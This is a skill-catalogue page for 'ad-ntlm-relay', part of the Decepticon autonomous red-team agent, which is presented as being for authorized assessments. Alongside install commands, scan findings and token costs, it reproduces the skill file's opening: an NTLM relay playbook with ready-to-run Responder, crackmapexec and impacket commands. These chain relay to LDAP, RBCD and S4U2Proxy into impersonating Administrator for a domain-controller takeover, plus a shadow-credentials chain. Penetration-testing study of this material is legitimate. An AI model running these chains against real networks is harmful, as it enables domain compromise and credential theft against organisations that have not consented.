Decepticon is an autonomous red-team agent that coordinates AI agents, security tools, sandboxes, and supporting services for authorized cybersecurity assessments. Security researchers and red teams can run it through its Docker stack, cloud service, command-line interface, or Python SDK, with the catalogue entries representing its available skills.
Getting it into your agent
One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.
npx skills add PurpleAILAB/Decepticon --skill ntlm-relaygit clone --depth 1 https://github.com/PurpleAILAB/DecepticonWrote this? Show the measurements
A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.
[](https://agentmods.dev/skills/purpleailab/decepticon/ntlm-relay)<a href="https://agentmods.dev/skills/purpleailab/decepticon/ntlm-relay"><img src="https://agentmods.dev/badge/skills/purpleailab/decepticon/ntlm-relay/github.svg" alt="Measured on agentmods" height="20"></a>Or the 80×15 button, for a site that already has a row of RSS and ATOM ones. Only the verdict fits; the numbers stay here.
<a href="https://agentmods.dev/skills/purpleailab/decepticon/ntlm-relay"><img src="https://agentmods.dev/badge/skills/purpleailab/decepticon/ntlm-relay.svg" alt="Reviewed on agentmods" width="80" height="20"></a>- NVIDIA SkillSpector warn
SkillSpector: 6 findings, up to high
These are SkillSpector’s own severities. On a checked sample its high-severity flags on skills were ~96% false positives — a documented command, a public API, a “never do X” rule — so we show them as a caution to read, not a verdict. Why →
- high YARA Match · line 37 YARA rule matched a hack tool or exploit indicator (offensive tools, reconnaissance, privilege escalation, or exploit frameworks).Fix: Remove offensive tool references and exploit code. Legitimate agent skills should not contain penetration testing tools, exploit frameworks, or reconnaissance utilities.
- medium Privilege Escalation · line 44 Commands invoke sudo or root privileges. Verify this elevated access is necessary and justified.Fix: Avoid sudo/root unless strictly required. Prefer least-privilege patterns. If elevation is needed, document the justification and scope.
- medium Privilege Escalation · line 57 Commands invoke sudo or root privileges. Verify this elevated access is necessary and justified.Fix: Avoid sudo/root unless strictly required. Prefer least-privilege patterns. If elevation is needed, document the justification and scope.
- medium Privilege Escalation · line 60 Commands invoke sudo or root privileges. Verify this elevated access is necessary and justified.Fix: Avoid sudo/root unless strictly required. Prefer least-privilege patterns. If elevation is needed, document the justification and scope.
- medium Privilege Escalation · line 66 Commands invoke sudo or root privileges. Verify this elevated access is necessary and justified.Fix: Avoid sudo/root unless strictly required. Prefer least-privilege patterns. If elevation is needed, document the justification and scope.
- medium Privilege Escalation · line 76 Commands invoke sudo or root privileges. Verify this elevated access is necessary and justified.Fix: Avoid sudo/root unless strictly required. Prefer least-privilege patterns. If elevation is needed, document the justification and scope.
What it costs to keep this loaded
Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.
| Model | Per session | Once invoked |
|---|---|---|
| Fable 5.1 | $0.00086 | $0.01443 |
| Opus 5 | $0.00043 | $0.00722 |
| Sonnet 5 | $0.00017 | $0.00289 |
| Haiku 4.5 | $0.00009 | $0.00144 |
Grade B, and why
ad-ntlm-relay scanned grade B with 1 finding against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 8d ago.
A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.
Asks for rootmediumPrivilege escalation
A mod that escalates privileges can change anything on the machine, not only the project.
sudo impacket-ntlmrelayx -t ldap://dc.target.local --delegate-access --escalate-user 'lowpriv' Copies of this mod
1 near-identical copy found in the catalogue:
- ntlm-relay — 98% identical, 2 lines differ
How it starts
The opening of the file, as written. The whole thing — 122 lines — stays where its author put it; the contents beside it link to each section on GitHub.
NTLM Relay Deep Dive
You've got NTLM authentication arriving at attacker (via Responder, ARP poison, coercion, mDNS, WPAD). Relay it to a target that grants you something useful.
Target selection matrix
| Target protocol | Outcome | Requires |
|---|---|---|
| LDAP / LDAPS to a DC | Add user to Domain Admins, RBCD, modify ACL | Victim is local admin OR LDAPS allows signing |
| SMB to a workstation | Code exec on that workstation | SMB signing OFF on target (servers often have it ON) |
| HTTP /certsrv/ (ADCS) | Cert for victim — auth as them | ADCS Web Enrollment enabled |
| MSSQL | Database access; xp_cmdshell if linked |
Victim has DB privs |
| IMAP (Exchange) | Mailbox access | Victim has mailbox |
| HTTP /EWS (Exchange) | Mailbox + autodiscover | EWS reachable |
| LDAPS to DC for shadow creds | Set msDS-KeyCredentialLink on a victim | LDAPS + WriteProperty |
SMB signing — the key constraint
| Target | Default SMB signing |
|---|---|
| DC | REQUIRED (signing on, must verify) — can't relay SMB to DC |
| Domain workstations | NOT REQUIRED (off by default) — can relay |
| File servers | usually REQUIRED |
| Linux Samba | varies |
Check with crackmapexec smb <target_subnet> --gen-relay-list relays.txt — gives you the list of targets where SMB signing is OFF.
Most useful chains
Coerce → relay to LDAP → RBCD attack
# Listener
sudo impacket-ntlmrelayx -t ldap://dc.target.local --delegate-access --escalate-user 'lowpriv'
# Now coerce DC$ (see ad-coercer skill)
# ntlmrelayx auto-adds attacker computer to msDS-AllowedToActOnBehalfOfOtherIdentity
# Then S4U2Proxy yourself onto the DC:
impacket-getST -spn 'cifs/dc.target.local' -impersonate Administrator 'target.local/lowpriv:pass'
# → TGS as Administrator for cifs on the DC — full takeover
Coerce → relay to ADCS → DA cert
See ad-certipy-esc-chain skill — chain ends with certipy auth → krbtgt.
Responder → relay to LDAP for Shadow Credentials
sudo responder -I eth0 -wd
# Catch broadcast LLMNR / NBT-NS / mDNS
# Then:
sudo impacket-ntlmrelayx -t ldaps://dc.target.local --shadow-credentials --shadow-target victim
# Adds a KeyCredentialLink to 'victim'; then auth as victim via certipy
What this file has done since we first saw it
Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.
- 8d ago First seen · 122 lines · 86 tokens per session scan B e410c8b8b93f
ad-ntlm-relay is a skill published in the GitHub repository PurpleAILAB/Decepticon (5,491 stars, last pushed 12d ago), licensed Apache-2.0. It adds 86 tokens to every session and 1,443 once invoked, about $0.0004 per session on Opus 5. A static security scan graded it B with 1 finding (asks for root). No closer match exists in the catalogue, so it is treated as the original; first seen 2026-09-03.
Other skills, from other repositories
interactive-dashboard
Interactive web dashboards: stock trackers, sector heatmaps, portfolio monitors — served via preview URL.
onboarding
First-time user onboarding to set up investment profile, watchlists, portfolio, and preferences.
idea-generation
Stock screening and idea generation: quantitative screens, thematic analysis, shortlist.
secretary
Workspace and research management — dispatch analyses, monitor running agents, manage workspaces and threads.
python-lib-analyzer
Analyze any Python library structure, explore modules, classes, and functions with signatures and documentation.
analyzing-windows-prefetch-with-python
Use when parse Windows Prefetch files using the windowsprefetch Python library to reconstruct application execution history, detect renamed or masquerading binaries, and identify suspicious program execution patterns. Use when working with analyzing windows prefetch with python.